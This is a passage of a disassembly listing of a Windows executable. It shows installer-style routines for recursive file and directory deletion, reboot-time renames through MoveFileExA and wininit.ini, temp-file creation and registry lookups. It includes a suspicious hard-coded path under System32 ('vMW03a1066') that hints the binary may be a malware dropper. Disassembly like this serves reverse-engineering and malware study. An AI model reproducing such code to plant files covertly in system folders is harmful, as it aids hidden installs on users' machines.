		mov	eax, [ebp+var_148]
		test	al, 10h
		jz	short loc_40541F
		mov	eax, [ebp+arg_4]
		and	eax, 3
		cmp	al, 3
		jnz	short loc_40545C
		push	[ebp+arg_4]
		push	edi
		call	sub_40531D
		jmp	short loc_40545C
; ---------------------------------------------------------------------------


loc_40541F:				; CODE XREF: sub_40531D+EBj
		and	al, 0FEh
		push	eax
		push	edi
		call	ds:dword_40708C	; SetFileAttributesA
		push	edi
		call	ds:dword_407140	; DeleteFileA
		test	eax, eax
		jnz	short loc_405454
		test	byte ptr [ebp+arg_4], 4
		jz	short loc_40544C
		push	edi
		push	0FFFFFFF1h
		call	sub_404D7E
		push	0
		push	edi
		call	sub_405723
		jmp	short loc_40545C
; ---------------------------------------------------------------------------


loc_40544C:				; CODE XREF: sub_40531D+11Bj
		inc	dword_42F4A8
		jmp	short loc_40545C
; ---------------------------------------------------------------------------


loc_405454:				; CODE XREF: sub_40531D+115j
		push	edi
		push	0FFFFFFF2h
		call	sub_404D7E


loc_40545C:				; CODE XREF: sub_40531D+D0j
					; sub_40531D+DAj ...
		lea	eax, [ebp+var_148]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_407138	; FindNextFileA
		test	eax, eax
		jnz	loc_4053C1
		push	[ebp+arg_0]
		call	ds:dword_407134	; FindClose


loc_40547D:				; CODE XREF: sub_40531D+9Ej
		cmp	[ebp+var_4], 0
		jz	short loc_405487
		and	byte ptr [ebx-1], 0


loc_405487:				; CODE XREF: sub_40531D+42j
					; sub_40531D+4Cj ...
		xor	esi, esi
		pop	ebx
		cmp	[ebp+var_4], esi
		jz	short loc_4054E2
		cmp	[ebp+var_8], esi
		jnz	short loc_40549C


loc_405494:				; CODE XREF: sub_40531D+1AAj
		inc	dword_42F4A8
		jmp	short loc_4054E2
; ---------------------------------------------------------------------------


loc_40549C:				; CODE XREF: sub_40531D+175j
		push	edi
		call	sub_405CB0
		test	eax, eax
		jz	short loc_4054E2
		push	edi
		call	sub_4054E8
		push	80h
		push	edi
		call	ds:dword_40708C	; SetFileAttributesA
		push	edi
		call	ds:dword_4070D0	; RemoveDirectoryA
		test	eax, eax
		jnz	short loc_4054DA
		test	byte ptr [ebp+arg_4], 4
		jz	short loc_405494
		push	edi
		push	0FFFFFFF1h
		call	sub_404D7E
		push	esi
		push	edi
		call	sub_405723
		jmp	short loc_4054E2
; ---------------------------------------------------------------------------


loc_4054DA:				; CODE XREF: sub_40531D+1A4j
		push	edi
		push	0FFFFFFE5h
		call	sub_404D7E


loc_4054E2:				; CODE XREF: sub_40531D+2Fj
					; sub_40531D+170j ...
		pop	edi
		pop	esi
		leave
		retn	8
sub_40531D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4054E8	proc near		; CODE XREF: sub_401439+39Dp
					; sub_4026FA+37p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_4059F1	; lstrlen
		add	eax, esi
		push	eax
		push	esi
		call	ds:dword_4071D0	; CharPrevA
		cmp	byte ptr [eax],	5Ch
		jz	short loc_40550D
		push	offset dword_409010
		push	esi
		call	sub_4059F7	; lstrcat


loc_40550D:				; CODE XREF: sub_4054E8+18j
		mov	eax, esi
		pop	esi
		retn	4
sub_4054E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_405513	proc near		; CODE XREF: sub_401439+1B8p start+D0p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		jmp	short loc_405526
; ---------------------------------------------------------------------------


loc_405519:				; CODE XREF: sub_405513+17j
		cmp	cl, [esp+arg_4]
		jz	short locret_40552C
		push	eax
		call	ds:dword_407214	; CharNextA


loc_405526:				; CODE XREF: sub_405513+4j
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_405519

locret_40552C:				; CODE XREF: sub_405513+Aj
		retn	8
sub_405513	endp


; =============== S U B	R O U T	I N E =======================================



sub_40552F	proc near		; CODE XREF: sub_402C37+61p start+2A4p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_4059F1	; lstrlen
		add	eax, esi


loc_40553C:				; CODE XREF: sub_40552F+1Cj
		cmp	byte ptr [eax],	5Ch
		jz	short loc_40554D
		push	eax
		push	esi
		call	ds:dword_4071D0	; CharPrevA
		cmp	eax, esi
		ja	short loc_40553C


loc_40554D:				; CODE XREF: sub_40552F+10j
		and	byte ptr [eax],	0
		pop	esi
		retn	4
sub_40552F	endp


; =============== S U B	R O U T	I N E =======================================



sub_405554	proc near		; CODE XREF: sub_401439+37Ap
					; sub_4020D8p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	al, [ecx]
		or	al, 20h
		cmp	word ptr [ecx],	5C5Ch
		jz	short loc_405575
		cmp	al, 61h
		jl	short loc_405571
		cmp	al, 7Ah
		jg	short loc_405571
		cmp	byte ptr [ecx+1], 3Ah
		jz	short loc_405575


loc_405571:				; CODE XREF: sub_405554+11j
					; sub_405554+15j
		xor	eax, eax
		jmp	short locret_405578
; ---------------------------------------------------------------------------


loc_405575:				; CODE XREF: sub_405554+Dj
					; sub_405554+1Bj
		xor	eax, eax
		inc	eax

locret_405578:				; CODE XREF: sub_405554+1Fj
		retn	4
sub_405554	endp


; =============== S U B	R O U T	I N E =======================================



sub_40557B	proc near		; CODE XREF: sub_401439+1A6p
					; sub_404201+5Ep ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, ds:dword_407214
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		push	edi
		call	esi	; CharNextA
		mov	ebx, eax
		push	ebx
		call	esi	; CharNextA
		cmp	byte ptr [edi],	0
		jz	short loc_4055A1
		cmp	word ptr [ebx],	5C3Ah
		jnz	short loc_4055A1
		push	eax
		call	esi	; CharNextA
		jmp	short loc_4055C2
; ---------------------------------------------------------------------------


loc_4055A1:				; CODE XREF: sub_40557B+18j
					; sub_40557B+1Fj
		cmp	word ptr [edi],	5C5Ch
		jnz	short loc_4055C0
		push	2
		pop	esi


loc_4055AB:				; CODE XREF: sub_40557B+41j
		push	5Ch
		push	eax
		dec	esi
		call	sub_405513
		cmp	byte ptr [eax],	0
		jz	short loc_4055C0
		inc	eax
		test	esi, esi
		jnz	short loc_4055AB
		jmp	short loc_4055C2
; ---------------------------------------------------------------------------


loc_4055C0:				; CODE XREF: sub_40557B+2Bj
					; sub_40557B+3Cj
		xor	eax, eax


loc_4055C2:				; CODE XREF: sub_40557B+24j
					; sub_40557B+43j
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_40557B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4055C8	proc near		; CODE XREF: start+19Bp sub_403542+94p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	esi, offset dword_42BCA8
		push	esi
		call	sub_4059DB
		push	esi
		call	sub_40557B
		mov	edi, eax
		test	edi, edi
		jnz	short loc_4055E9


loc_4055E5:				; CODE XREF: sub_4055C8+34j
					; sub_4055C8+38j ...
		xor	eax, eax
		jmp	short loc_40563B
; ---------------------------------------------------------------------------


loc_4055E9:				; CODE XREF: sub_4055C8+1Bj
		push	edi
		call	sub_405C17
		test	byte ptr dword_42F430, 80h
		jz	short loc_405602
		mov	al, [edi]
		test	al, al
		jz	short loc_4055E5
		cmp	al, 5Ch
		jz	short loc_4055E5


loc_405602:				; CODE XREF: sub_4055C8+2Ej
		sub	edi, esi
		jmp	short loc_40561A
; ---------------------------------------------------------------------------


loc_405606:				; CODE XREF: sub_4055C8+5Bj
		call	sub_405CB0
		test	eax, eax
		jz	short loc_405614
		test	byte ptr [eax],	10h
		jz	short loc_4055E5


loc_405614:				; CODE XREF: sub_4055C8+45j
		push	esi
		call	sub_40552F


loc_40561A:				; CODE XREF: sub_4055C8+3Cj
		push	esi
		call	sub_4059F1	; lstrlen
		cmp	eax, edi
		push	esi
		jg	short loc_405606
		call	sub_4054E8
		push	esi
		call	ds:dword_407080	; GetFileAttributesA
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx


loc_40563B:				; CODE XREF: sub_4055C8+1Fj
		pop	edi
		pop	esi
		retn	4
sub_4055C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_405640	proc near		; CODE XREF: sub_405723+11Cp
					; sub_405723+188p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_4]
		call	sub_4059F1	; lstrlen
		mov	edi, eax
		mov	esi, [esp+0Ch+arg_0]
		jmp	short loc_405676
; ---------------------------------------------------------------------------


loc_405654:				; CODE XREF: sub_405640+3Ej
		push	[esp+0Ch+arg_4]
		mov	bl, [edi+esi]
		and	byte ptr [edi+esi], 0
		push	esi
		call	ds:dword_4070A4	; lstrcmpi
		test	eax, eax
		mov	[edi+esi], bl
		jz	short loc_405688
		push	esi
		call	ds:dword_407214	; CharNextA
		mov	esi, eax


loc_405676:				; CODE XREF: sub_405640+12j
		push	esi
		call	sub_4059F1	; lstrlen
		cmp	eax, edi
		jge	short loc_405654
		xor	eax, eax


loc_405682:				; CODE XREF: sub_405640+4Aj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_405688:				; CODE XREF: sub_405640+2Bj
		mov	eax, esi
		jmp	short loc_405682
sub_405640	endp


; =============== S U B	R O U T	I N E =======================================



sub_40568C	proc near		; CODE XREF: sub_4026FA+BDp
					; sub_402C37+C1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jle	short loc_4056A8
		mov	eax, [esp+4+arg_4]
		sub	eax, ecx


loc_40569F:				; CODE XREF: sub_40568C+1Aj
		mov	dl, [eax+ecx]
		mov	[ecx], dl
		inc	ecx
		dec	esi
		jnz	short loc_40569F


loc_4056A8:				; CODE XREF: sub_40568C+Bj
		pop	esi
		retn	0Ch
sub_40568C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4056AC	proc near		; CODE XREF: sub_401439+411p
					; sub_4021F6+332p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		call	ds:dword_407080	; GetFileAttributesA
		mov	ecx, eax
		push	0
		inc	ecx
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		push	[esp+8+arg_8]
		push	0
		push	1
		push	[esp+14h+arg_4]
		push	[esp+18h+arg_0]
		call	ds:dword_4070D4	; CreateFileA
		retn	0Ch
sub_4056AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4056DB	proc near		; CODE XREF: sub_401439+35Ap
					; sub_403132+2Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	64h
		pop	edi


loc_4056E6:				; CODE XREF: sub_4056DB+39j
		dec	edi
		mov	[ebp+arg_0], 61736Eh
		call	ds:dword_40709C	; GetTickCount
		push	1Ah
		xor	edx, edx
		pop	ecx
		div	ecx
		push	esi
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		push	[ebp+arg_4]
		add	byte ptr [ebp+arg_0+2],	dl
		call	ds:dword_4070D8	; GetTempFileNameA
		test	eax, eax
		jnz	short loc_40571F
		test	edi, edi
		jnz	short loc_4056E6
		and	byte ptr [esi],	0


loc_405719:				; CODE XREF: sub_4056DB+46j
		pop	edi
		pop	esi
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------


loc_40571F:				; CODE XREF: sub_4056DB+35j
		mov	eax, esi
		jmp	short loc_405719
sub_4056DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_405723	proc near		; CODE XREF: sub_401439+2BAp
					; start+288p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	offset aMovefileexa ; "MoveFileExA"
		push	offset aKernel32_dll ; "KERNEL32.dll"
		call	sub_405CEE
		test	eax, eax
		mov	esi, [esp+10h+arg_4]
		jz	short loc_40574F
		push	5
		push	esi
		push	[esp+18h+arg_0]
		call	eax
		test	eax, eax
		jnz	loc_405895


loc_40574F:				; CODE XREF: sub_405723+19j
		mov	ebx, ds:dword_407070
		mov	dword_42CA30, 4C554Eh
		test	esi, esi
		mov	edi, 400h
		mov	ebp, offset dword_42CA30
		jz	short loc_405793
		push	1
		push	0
		push	esi
		call	sub_4056AC
		push	eax
		call	ds:dword_407060	; CloseHandle
		push	edi
		push	ebp
		push	esi
		call	ebx	; GetShortPathNameA
		test	eax, eax
		jz	loc_40589B
		cmp	eax, edi
		jg	loc_40589B


loc_405793:				; CODE XREF: sub_405723+48j
		mov	esi, offset dword_42C4A8
		push	edi
		push	esi
		push	[esp+18h+arg_0]
		call	ebx	; GetShortPathNameA
		test	eax, eax
		jz	loc_40589B
		cmp	eax, edi
		jg	loc_40589B
		push	esi
		push	ebp
		push	offset aSS_0	; "%s=%s\r\n"
		push	offset dword_42C0A8
		call	ds:dword_4071F4	; wsprintfA
		add	esp, 10h
		mov	ebx, eax
		push	3F0h
		push	esi
		call	ds:dword_4070B0	; GetWindowsDirectoryA
		push	offset aWininit_ini ; "\\wininit.ini"
		push	esi
		call	sub_4059F7	; lstrcat
		xor	eax, eax
		push	eax
		push	8000080h
		push	4
		push	eax
		push	eax
		push	0C0000000h
		push	esi
		call	ds:dword_4070D4	; CreateFileA
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_405895
		push	0
		push	ebp
		call	ds:dword_407094	; GetFileSize
		mov	edi, eax
		lea	eax, [edi+ebx+0Ah]
		push	eax
		push	40h
		call	ds:dword_4070F8	; GlobalAlloc
		mov	esi, eax
		test	esi, esi
		jz	short loc_40588E
		lea	eax, [esp+10h+arg_4]
		push	0
		push	eax
		push	edi
		push	esi
		push	ebp
		call	ds:dword_407128	; ReadFile
		test	eax, eax
		jz	short loc_40588E
		cmp	edi, [esp+10h+arg_4]
		jnz	short loc_40588E
		push	offset aRename	; "[Rename]\r\n"
		push	esi
		call	sub_405640
		test	eax, eax
		jnz	short loc_4058A2
		lea	eax, [esi+edi]
		push	offset aRename	; "[Rename]\r\n"
		push	eax
		call	sub_4059DB
		add	edi, 0Ah


loc_405859:				; CODE XREF: sub_405723+18Fj
		mov	eax, edi


loc_40585B:				; CODE XREF: sub_405723+1AAj
		push	ebx
		add	eax, esi
		push	offset dword_42C0A8
		push	eax
		call	sub_40568C
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebp
		call	ds:dword_407130	; SetFilePointer
		lea	eax, [esp+10h+arg_4]
		push	0
		add	edi, ebx
		push	eax
		push	edi
		push	esi
		push	ebp
		call	ds:dword_407124	; WriteFile
		push	esi
		call	ds:dword_4070F4	; GlobalFree


loc_40588E:				; CODE XREF: sub_405723+FAj
					; sub_405723+10Ej ...
		push	ebp
		call	ds:dword_407060	; CloseHandle


loc_405895:				; CODE XREF: sub_405723+26j
					; sub_405723+D8j
		inc	dword_42F4B0


loc_40589B:				; CODE XREF: sub_405723+62j
					; sub_405723+6Aj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_4058A2:				; CODE XREF: sub_405723+123j
		add	eax, 0Ah
		push	offset asc_409308 ; "\n["
		push	eax
		call	sub_405640
		test	eax, eax
		jz	short loc_405859
		inc	eax
		lea	edx, [esi+edi]
		cmp	eax, edx
		mov	ecx, eax
		jnb	short loc_4058CB


loc_4058BE:				; CODE XREF: sub_405723+1A6j
		mov	dl, [ecx]
		mov	[ecx+ebx], dl
		inc	ecx
		lea	edx, [esi+edi]
		cmp	ecx, edx
		jb	short loc_4058BE


loc_4058CB:				; CODE XREF: sub_405723+199j
		sub	eax, esi
		jmp	short loc_40585B
sub_405723	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4058CF	proc near		; CODE XREF: sub_403542+4Fp
					; sub_403542+6Cp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		lea	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_C]
		xor	ebx, ebx
		push	eax
		push	20019h
		push	ebx
		push	[ebp+arg_4]
		mov	[esi], bl
		push	[ebp+arg_0]
		call	ds:dword_407010	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_405933
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 400h
		push	eax
		lea	eax, [ebp+arg_C]
		push	esi
		push	eax
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	ds:dword_407000	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_405922
		cmp	[ebp+arg_C], 1
		jz	short loc_405924
		cmp	[ebp+arg_C], 2
		jz	short loc_405924


loc_405922:				; CODE XREF: sub_4058CF+45j
		mov	[esi], bl


loc_405924:				; CODE XREF: sub_4058CF+4Bj
					; sub_4058CF+51j
		push	[ebp+arg_4]
		mov	[esi+3FFh], bl
		call	ds:dword_40701C	; RegCloseKey


loc_405933:				; CODE XREF: sub_4058CF+24j
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_4058CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_405939	proc near		; CODE XREF: sub_401ED8+22p
					; sub_401439+AFCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	offset aD	; "%d"
		push	[esp+8+arg_0]
		call	ds:dword_4071F4	; wsprintfA
		add	esp, 0Ch
		retn	8
sub_405939	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405952	proc near		; CODE XREF: sub_40136D+39p
					; sub_401439+91p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	byte ptr [ecx],	2Dh
		mov	[ebp+var_4], 1
		mov	al, 0Ah
		mov	bl, 39h
		jnz	short loc_405973
		inc	ecx
		or	[ebp+var_4], 0FFFFFFFFh


loc_405973:				; CODE XREF: sub_405952+1Aj
		cmp	byte ptr [ecx],	30h
		jnz	short loc_405994
		inc	ecx
		mov	dl, [ecx]
		cmp	dl, 30h
		jl	short loc_405989
		cmp	dl, 37h
		jg	short loc_405989
		mov	al, 8
		mov	bl, 37h


loc_405989:				; CODE XREF: sub_405952+2Cj
					; sub_405952+31j
		and	dl, 0DFh
		cmp	dl, 58h
		jnz	short loc_405994
		mov	al, 10h
		inc	ecx


loc_405994:				; CODE XREF: sub_405952+24j
					; sub_405952+3Dj ...
		movsx	edx, byte ptr [ecx]
		inc	ecx
		cmp	edx, 30h
		jl	short loc_4059A9
		movsx	esi, bl
		cmp	edx, esi
		jg	short loc_4059A9
		sub	edx, 30h
		jmp	short loc_4059C2
; ---------------------------------------------------------------------------


loc_4059A9:				; CODE XREF: sub_405952+49j
					; sub_405952+50j
		cmp	al, 10h
		jnz	short loc_4059CE
		mov	esi, edx
		and	esi, 0FFFFFFDFh
		cmp	esi, 41h
		jl	short loc_4059CE
		cmp	esi, 46h
		jg	short loc_4059CE
		and	edx, 7
		add	edx, 9


loc_4059C2:				; CODE XREF: sub_405952+55j
		movsx	esi, al
		imul	esi, edi
		add	esi, edx
		mov	edi, esi
		jmp	short loc_405994
; ---------------------------------------------------------------------------


loc_4059CE:				; CODE XREF: sub_405952+59j
					; sub_405952+63j ...
		mov	eax, [ebp+var_4]
		imul	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_405952	endp


; =============== S U B	R O U T	I N E =======================================



sub_4059DB	proc near		; CODE XREF: sub_401439+209p
					; sub_401439+24Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	400h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	ds:dword_4070B8	; lstrcpyn
		retn	8
sub_4059DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4059F1	proc near		; CODE XREF: sub_401439+257p
					; sub_401439+261p ...
		jmp	ds:dword_4070DC
sub_4059F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4059F7	proc near		; CODE XREF: sub_401439+276p
					; sub_401439+27Fp ...
		jmp	ds:dword_4070E0
sub_4059F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059FD	proc near		; CODE XREF: sub_401439+441p
					; sub_401439+4F0p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		test	ebx, ebx
		jge	short loc_405A1E
		mov	ecx, dword_42EBFC
		lea	eax, ds:4[ebx*4]
		sub	ecx, eax
		mov	ebx, [ecx]


loc_405A1E:				; CODE XREF: sub_4059FD+Ej
		mov	eax, dword_42F458
		mov	ecx, [ebp+arg_0]
		add	ebx, eax
		mov	eax, offset aCWindowsSyst_3 ; "C:\\WINDOWS\\System32\\vMW03a\\vMW03a1066.e"...
		sub	ecx, eax
		mov	edi, eax
		cmp	ecx, 800h
		jnb	loc_405BF1
		mov	edi, [ebp+arg_0]
		and	[ebp+arg_0], 0
		jmp	loc_405BF1
; ---------------------------------------------------------------------------


loc_405A49:				; CODE XREF: sub_4059FD+1FBj
		mov	edx, edi
		sub	edx, eax
		cmp	edx, 400h
		jge	loc_405BFE
		inc	ebx
		cmp	cl, 0FCh
		jbe	loc_405BE4
		movsx	eax, byte ptr [ebx+1]
		movsx	ecx, byte ptr [ebx]
		mov	esi, eax
		mov	edx, ecx
		and	esi, 7Fh
		and	edx, 7Fh
		shl	esi, 7
		or	esi, edx
		mov	edx, 8000h
		mov	[ebp+var_18], ecx
		mov	[ebp+var_10], eax
		or	ecx, edx
		or	eax, edx
		inc	ebx
		mov	[ebp+var_14], ecx
		inc	ebx
		cmp	byte ptr [ebp+arg_4+3],	0FEh
		mov	[ebp+var_C], eax
		jnz	loc_405B8F
		and	[ebp+arg_4], 0
		and	byte ptr [edi],	0
		push	4
		pop	esi
		cmp	[ebp+var_10], esi
		jnz	short loc_405AB2
		mov	[ebp+arg_4], offset aMicrosoftInter ; "\\Microsoft\\Internet Explorer\\Quick Laun"...
		jmp	short loc_405B2A
; ---------------------------------------------------------------------------


loc_405AB2:				; CODE XREF: sub_4059FD+AAj
		mov	eax, [ebp+var_18]
		cmp	eax, 2Bh
		jnz	short loc_405AD1
		push	edi
		push	offset aCommonfilesdir ; "CommonFilesDir"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_4058CF
		jmp	short loc_405B25
; ---------------------------------------------------------------------------


loc_405AD1:				; CODE XREF: sub_4059FD+BBj
		cmp	eax, 26h
		jnz	short loc_405B01
		push	edi
		push	offset aProgramfilesdi ; "ProgramFilesDir"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_4058CF
		cmp	byte ptr [edi],	0
		jnz	loc_405B87
		push	offset aCProgramFiles ;	"C:\\Program Files"
		push	edi
		call	sub_4059DB
		jmp	short loc_405B25
; ---------------------------------------------------------------------------


loc_405B01:				; CODE XREF: sub_4059FD+D7j
		cmp	eax, 25h
		jnz	short loc_405B14
		push	400h
		push	edi
		call	ds:dword_4070E4	; GetSystemDirectoryA
		jmp	short loc_405B25
; ---------------------------------------------------------------------------


loc_405B14:				; CODE XREF: sub_4059FD+107j
		cmp	eax, 24h
		jnz	short loc_405B2A
		push	400h
		push	edi
		call	ds:dword_4070B0	; GetWindowsDirectoryA


loc_405B25:				; CODE XREF: sub_4059FD+D2j
					; sub_4059FD+102j ...
		cmp	byte ptr [edi],	0
		jnz	short loc_405B87


loc_405B2A:				; CODE XREF: sub_4059FD+B3j
					; sub_4059FD+11Aj
		cmp	dword_42F4A4, 0
		jnz	short loc_405B36
		push	2
		pop	esi


loc_405B36:				; CODE XREF: sub_4059FD+134j
					; sub_4059FD+174j
		lea	eax, [ebp+var_4]
		dec	esi
		push	eax
		push	[ebp+esi*4+var_18]
		push	dword_42F424
		call	ds:dword_407164
		test	eax, eax
		jnz	short loc_405B6C
		push	edi
		push	[ebp+var_4]
		call	ds:dword_407150
		push	[ebp+var_4]
		mov	[ebp+var_8], eax
		call	sub_405238
		cmp	[ebp+var_8], 0
		jnz	short loc_405B73
		jmp	short loc_405B6F
; ---------------------------------------------------------------------------


loc_405B6C:				; CODE XREF: sub_4059FD+150j
		and	byte ptr [edi],	0


loc_405B6F:				; CODE XREF: sub_4059FD+16Dj
		test	esi, esi
		jnz	short loc_405B36


loc_405B73:				; CODE XREF: sub_4059FD+16Bj
		cmp	byte ptr [edi],	0
		jz	short loc_405B87
		cmp	[ebp+arg_4], 0
		jz	short loc_405B87
		push	[ebp+arg_4]
		push	edi
		call	sub_4059F7	; lstrcat


loc_405B87:				; CODE XREF: sub_4059FD+F1j
					; sub_4059FD+12Bj ...
		push	edi
		call	sub_405C17
		jmp	short loc_405BD5
; ---------------------------------------------------------------------------


loc_405B8F:				; CODE XREF: sub_4059FD+97j
		cmp	byte ptr [ebp+arg_4+3],	0FDh
		jnz	short loc_405BC3
		cmp	esi, 1Bh
		jnz	short loc_405BA8
		push	dword_42F424
		push	edi
		call	sub_405939
		jmp	short loc_405BB9
; ---------------------------------------------------------------------------


loc_405BA8:				; CODE XREF: sub_4059FD+19Bj
		mov	eax, esi
		shl	eax, 0Ah
		add	eax, offset dword_430000
		push	eax
		push	edi
		call	sub_4059DB


loc_405BB9:				; CODE XREF: sub_4059FD+1A9j
		add	esi, 0FFFFFFEBh
		cmp	esi, 6
		jnb	short loc_405BD5
		jmp	short loc_405B87
; ---------------------------------------------------------------------------


loc_405BC3:				; CODE XREF: sub_4059FD+196j
		cmp	byte ptr [ebp+arg_4+3],	0FFh
		jnz	short loc_405BD5
		or	eax, 0FFFFFFFFh
		sub	eax, esi
		push	eax
		push	edi
		call	sub_4059FD


loc_405BD5:				; CODE XREF: sub_4059FD+190j
					; sub_4059FD+1C2j ...
		push	edi
		call	sub_4059F1	; lstrlen
		add	edi, eax
		mov	eax, offset aCWindowsSyst_3 ; "C:\\WINDOWS\\System32\\vMW03a\\vMW03a1066.e"...
		jmp	short loc_405BF1
; ---------------------------------------------------------------------------


loc_405BE4:				; CODE XREF: sub_4059FD+60j
		jnz	short loc_405BEE
		mov	cl, [ebx]
		mov	[edi], cl
		inc	edi
		inc	ebx
		jmp	short loc_405BF1
; ---------------------------------------------------------------------------


loc_405BEE:				; CODE XREF: sub_4059FD:loc_405BE4j
		mov	[edi], cl
		inc	edi


loc_405BF1:				; CODE XREF: sub_4059FD+3Aj
					; sub_4059FD+47j ...
		mov	cl, [ebx]
		test	cl, cl
		mov	byte ptr [ebp+arg_4+3],	cl
		jnz	loc_405A49


loc_405BFE:				; CODE XREF: sub_4059FD+56j
		and	byte ptr [edi],	0
		cmp	[ebp+arg_0], 0
		pop	edi
		pop	esi
		pop	ebx
		jz	short locret_405C13
		push	eax
		push	[ebp+arg_0]
		call	sub_4059DB

locret_405C13:				; CODE XREF: sub_4059FD+20Bj
		leave
		retn	8
sub_4059FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_405C17	proc near		; CODE XREF: sub_401439+3A9p
					; sub_4026FA+48p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	byte ptr [esi],	5Ch
		jnz	short loc_405C38
		cmp	byte ptr [esi+1], 5Ch
		jnz	short loc_405C38
		cmp	byte ptr [esi+2], 3Fh
		jnz	short loc_405C38
		cmp	byte ptr [esi+3], 5Ch
		jnz	short loc_405C38
		add	esi, 4


loc_405C38:				; CODE XREF: sub_405C17+Aj
					; sub_405C17+10j ...
		cmp	byte ptr [esi],	0
		jz	short loc_405C49
		push	esi
		call	sub_405554
		test	eax, eax
		jz	short loc_405C49
		inc	esi
		inc	esi


loc_405C49:				; CODE XREF: sub_405C17+24j
					; sub_405C17+2Ej
		mov	al, [esi]
		mov	ebx, esi
		test	al, al
		mov	edi, esi
		jz	short loc_405C8C
		push	ebp
		mov	ebp, ds:dword_407214


loc_405C5A:				; CODE XREF: sub_405C17+72j
		cmp	al, 1Fh
		jbe	short loc_405C80
		push	eax
		push	offset a?	; "*?|<>/\":"
		call	sub_405513
		cmp	byte ptr [eax],	0
		jnz	short loc_405C80
		push	esi
		call	ebp	; CharNextA
		sub	eax, esi
		push	eax
		push	esi
		push	edi
		call	sub_40568C
		push	edi
		call	ebp	; CharNextA
		mov	edi, eax


loc_405C80:				; CODE XREF: sub_405C17+45j
					; sub_405C17+55j
		push	esi
		call	ebp	; CharNextA
		mov	esi, eax
		mov	al, [esi]
		test	al, al
		jnz	short loc_405C5A
		pop	ebp


loc_405C8C:				; CODE XREF: sub_405C17+3Aj
		and	byte ptr [edi],	0


loc_405C8F:				; CODE XREF: sub_405C17+91j
		push	edi
		push	ebx
		call	ds:dword_4071D0	; CharPrevA
		mov	edi, eax
		mov	al, [edi]
		cmp	al, 20h
		jz	short loc_405CA3
